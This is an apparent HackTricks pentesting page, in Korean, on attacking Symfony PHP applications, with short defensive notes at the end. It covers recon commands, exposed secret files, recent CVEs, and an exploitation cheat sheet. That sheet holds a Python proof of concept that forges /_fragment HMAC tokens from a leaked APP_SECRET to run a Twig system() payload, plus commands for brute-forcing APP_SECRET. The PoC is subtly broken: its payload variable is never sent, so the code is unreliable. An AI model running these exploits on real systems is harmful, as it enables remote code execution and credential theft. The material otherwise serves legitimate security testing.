Symfony

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Symfony๋Š” ๊ฐ€์žฅ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” PHP ํ”„๋ ˆ์ž„์›Œํฌ ์ค‘ ํ•˜๋‚˜๋กœ, ๊ธฐ์—…, ์ „์ž์ƒ๊ฑฐ๋ž˜ ๋ฐ CMS ํƒ€๊ฒŸ(Drupal, Shopware, Ibexa, OroCRM โ€ฆ ๋ชจ๋‘ Symfony ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ํฌํ•จํ•จ)์˜ ํ‰๊ฐ€์—์„œ ์ •๊ธฐ์ ์œผ๋กœ ๋“ฑ์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ํŽ˜์ด์ง€๋Š” Symfony ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐœ๊ฒฌํ•  ๋•Œ ์ฒดํฌ๋ฆฌ์ŠคํŠธ์— ํฌํ•จํ•ด์•ผ ํ•  ๊ณต๊ฒฉ์ ์ธ ํŒ, ์ผ๋ฐ˜์ ์ธ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ ๋ฐ ์ตœ๊ทผ ์ทจ์•ฝ์ ์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค.

์—ญ์‚ฌ์  ์ฐธ๊ณ : ์ƒํƒœ๊ณ„์˜ ํฐ ๋ถ€๋ถ„์ด ์—ฌ์ „ํžˆ 5.4 LTS ๋ธŒ๋žœ์น˜๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค (EOL 2025๋…„ 11์›”). ๋งŽ์€ 2023-2025 ๋ณด์•ˆ ๊ถŒ๊ณ ๊ฐ€ ํŒจ์น˜ ๋ฆด๋ฆฌ์Šค์—์„œ๋งŒ ์ˆ˜์ •๋˜๋ฏ€๋กœ ์ •ํ™•ํ•œ ๋งˆ์ด๋„ˆ ๋ฒ„์ „์„ ํ•ญ์ƒ ํ™•์ธํ•˜์„ธ์š” (์˜ˆ: 5.4.46 โ†’ 5.4.50).


Recon & Enumeration

Finger-printing

  • HTTP ์‘๋‹ต ํ—ค๋”: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ๋˜๋Š” sf_redirect, sf_session, MOCKSESSID๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ฟ ํ‚ค.
  • ์†Œ์Šค ์ฝ”๋“œ ์œ ์ถœ(composer.json, composer.lock, /vendor/โ€ฆ)์€ ์ข…์ข… ์ •ํ™•ํ•œ ๋ฒ„์ „์„ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Symfony์—๋งŒ ์กด์žฌํ•˜๋Š” ๊ณต๊ฐœ ๊ฒฝ๋กœ:
  • /_profiler (Symfony Profiler ๋ฐ ๋””๋ฒ„๊ทธ ํˆด๋ฐ”)
  • /_wdt/<token> (โ€œWeb Debug Toolbarโ€)
  • /_error/{code}.{_format} (์˜ˆ์œ ์˜ค๋ฅ˜ ํŽ˜์ด์ง€)
  • /app_dev.php, /config.php, /config_dev.php (4.0 ์ด์ „ ๊ฐœ๋ฐœ ํ”„๋ก ํŠธ ์ปจํŠธ๋กค๋Ÿฌ)
  • Wappalyzer, BuiltWith ๋˜๋Š” ffuf/feroxbuster ๋‹จ์–ด ๋ชฉ๋ก: symfony.txt โ†’ /_fragment, /_profiler, .env, .htaccess๋ฅผ ์ฐพ์œผ์„ธ์š”.

Interesting files & endpoints

PathWhy it matters
/.env, /.env.local, /.env.prod์ž์ฃผ ์ž˜๋ชป ๋ฐฐํฌ๋จ โ†’ APP_SECRET, DB ์ž๊ฒฉ ์ฆ๋ช…, SMTP, AWS ํ‚ค ์œ ์ถœ
/.git, .svn, .hg์†Œ์Šค ๊ณต๊ฐœ โ†’ ์ž๊ฒฉ ์ฆ๋ช… + ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง
/var/log/*.log, /log/dev.log์›น ๋ฃจํŠธ ์ž˜๋ชป ๊ตฌ์„ฑ์œผ๋กœ ์Šคํƒ ์ถ”์  ๋…ธ์ถœ
/_profiler์ „์ฒด ์š”์ฒญ ๊ธฐ๋ก, ๊ตฌ์„ฑ, ์„œ๋น„์Šค ์ปจํ…Œ์ด๋„ˆ, APP_SECRET (โ‰ค 3.4)
/_fragmentESI/HInclude์— ์˜ํ•ด ์‚ฌ์šฉ๋˜๋Š” ์ง„์ž…์ . APP_SECRET์„ ์•Œ๋ฉด ๋‚จ์šฉ ๊ฐ€๋Šฅ
/vendor/phpunit/phpunit/phpunit์ ‘๊ทผ ๊ฐ€๋Šฅ ์‹œ PHPUnit RCE (CVE-2017-9841)
/index.php/_error/{code}์ง€๋ฌธ ์ธ์‹ ๋ฐ ๋•Œ๋•Œ๋กœ ์˜ˆ์™ธ ์ถ”์  ์œ ์ถœ

High-impact Vulnerabilities (2023-2025)

1. APP_SECRET ์œ ์ถœ โžœ RCE via /_fragment (์ผ๋ช… โ€œsecret-fragmentโ€)

  • CVE-2019-18889์—์„œ ์œ ๋ž˜ํ–ˆ์ง€๋งŒ ์—ฌ์ „ํžˆ ๋””๋ฒ„๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ฑฐ๋‚˜ .env๊ฐ€ ๋…ธ์ถœ๋œ ํ˜„๋Œ€ ํƒ€๊ฒŸ์—์„œ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.
  • 32์ž APP_SECRET์„ ์•Œ๊ฒŒ ๋˜๋ฉด HMAC ํ† ํฐ์„ ์ƒ์„ฑํ•˜๊ณ  ๋‚ด๋ถ€ render() ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ๋‚จ์šฉํ•˜์—ฌ ์ž„์˜์˜ Twig๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:
# PoC โ€“ ๋น„๋ฐ€์ด ํ•„์š”ํ•จ
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeefโ€ฆ')
payload = "{{['id']|filter('system')}}"   # Twig์—์„œ RCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • ํ›Œ๋ฅญํ•œ ์ž‘์„ฑ ๋ฐ ์•…์šฉ ์Šคํฌ๋ฆฝํŠธ: Ambionics ๋ธ”๋กœ๊ทธ (์ฐธ์กฐ์— ๋งํฌ๋จ).

2. Windows Process Hijack โ€“ CVE-2024-51736

  • Process ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ Windows์—์„œ PATH ์ด์ „์— ํ˜„์žฌ ์ž‘์—… ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์›น ๋ฃจํŠธ์— tar.exe, cmd.exe ๋“ฑ์„ ์—…๋กœ๋“œํ•˜๊ณ  Process๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉด (์˜ˆ: ํŒŒ์ผ ์ถ”์ถœ, PDF ์ƒ์„ฑ) ๋ช…๋ น ์‹คํ–‰์„ ์–ป์Šต๋‹ˆ๋‹ค.
  • 5.4.50, 6.4.14, 7.1.7์—์„œ ํŒจ์น˜๋จ.

3. Session-Fixation โ€“ CVE-2023-46733

  • ์ธ์ฆ ๊ฐ€๋“œ๊ฐ€ ๋กœ๊ทธ์ธ ํ›„ ๊ธฐ์กด ์„ธ์…˜ ID๋ฅผ ์žฌ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž๊ฐ€ ์ธ์ฆํ•˜๊ธฐ ์ „์— ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๋ฉด ๋กœ๊ทธ์ธ ํ›„ ๊ณ„์ •์„ ํƒˆ์ทจํ•ฉ๋‹ˆ๋‹ค.

4. Twig sandbox XSS โ€“ CVE-2023-46734

  • ์‚ฌ์šฉ์ž ์ œ์–ด ํ…œํ”Œ๋ฆฟ(๊ด€๋ฆฌ CMS, ์ด๋ฉ”์ผ ๋นŒ๋”)์„ ๋…ธ์ถœํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ nl2br ํ•„ํ„ฐ๋ฅผ ๋‚จ์šฉํ•˜์—ฌ ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์šฐํšŒํ•˜๊ณ  JS๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

5. Symfony 1 ๊ฐ€์ ฏ ์ฒด์ธ (์—ฌ์ „ํžˆ ๋ ˆ๊ฑฐ์‹œ ์•ฑ์—์„œ ๋ฐœ๊ฒฌ๋จ)

  • phpggc symfony/1 system id๋Š” sfNamespacedParameterHolder์™€ ๊ฐ™์€ ํด๋ž˜์Šค์—์„œ unserialize()๊ฐ€ ๋ฐœ์ƒํ•  ๋•Œ RCE๋ฅผ ์œ ๋ฐœํ•˜๋Š” Phar ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ ์—…๋กœ๋“œ ์—”๋“œํฌ์ธํŠธ ๋ฐ phar:// ๋ž˜ํผ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeefโ€ฆ "template=@App/evil&filter=raw&_format=html"

์•ฝํ•œ APP_SECRET์— ๋Œ€ํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

bin/console์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ php-fpm ๋˜๋Š” ์ง์ ‘ CLI ์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

์‚ฌ์šฉ์ž ์ •์˜ ์ง๋ ฌํ™” ๊ฐ€์ ฏ์„ ์บ์‹œ ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์—์„œ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋‹ค์Œ ์š”์ฒญ ์‹œ ์‹คํ–‰๋  ์•…์„ฑ Twig ํ…œํ”Œ๋ฆฟ์„ ์ž‘์„ฑํ•˜์‹ญ์‹œ์˜ค.


๋ฐฉ์–ด ๋…ธํŠธ

  1. ๋””๋ฒ„๊ทธ๋ฅผ ๋ฐฐํฌํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค (APP_ENV=dev, APP_DEBUG=1); ์›น ์„œ๋ฒ„ ๊ตฌ์„ฑ์—์„œ /app_dev.php, /_profiler, /_wdt๋ฅผ ์ฐจ๋‹จํ•˜์‹ญ์‹œ์˜ค.
  2. ๋น„๋ฐ€์„ env ๋ณ€์ˆ˜ ๋˜๋Š” vault/secrets.local.php์— ์ €์žฅํ•˜๊ณ , ์ ˆ๋Œ€ ๋ฌธ์„œ ๋ฃจํŠธ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ์— ์ €์žฅํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.
  3. ํŒจ์น˜ ๊ด€๋ฆฌ๋ฅผ ์‹œํ–‰ํ•˜์‹ญ์‹œ์˜ค โ€“ Symfony ๋ณด์•ˆ ๊ถŒ๊ณ ์— ๊ตฌ๋…ํ•˜๊ณ  ์ตœ์†Œํ•œ LTS ํŒจ์น˜ ์ˆ˜์ค€์„ ์œ ์ง€ํ•˜์‹ญ์‹œ์˜ค.
  4. Windows์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ, ์ฆ‰์‹œ CVE-2024-51736์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜ open_basedir/disable_functions ๋ฐฉ์–ด ๊นŠ์ด๋ฅผ ์ถ”๊ฐ€ํ•˜์‹ญ์‹œ์˜ค.

์œ ์šฉํ•œ ๊ณต๊ฒฉ ๋„๊ตฌ

  • ambionics/symfony-exploits โ€“ ๋น„๋ฐ€ ์กฐ๊ฐ RCE, ๋””๋ฒ„๊ฑฐ ๊ฒฝ๋กœ ๋ฐœ๊ฒฌ.
  • phpggc โ€“ Symfony 1 & 2๋ฅผ ์œ„ํ•œ ๊ธฐ์„ฑ ๊ฐ€์ ฏ ์ฒด์ธ.
  • sf-encoder โ€“ _fragment HMAC์„ ๊ณ„์‚ฐํ•˜๊ธฐ ์œ„ํ•œ ์ž‘์€ ๋„์šฐ๋ฏธ (Go ๊ตฌํ˜„).

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ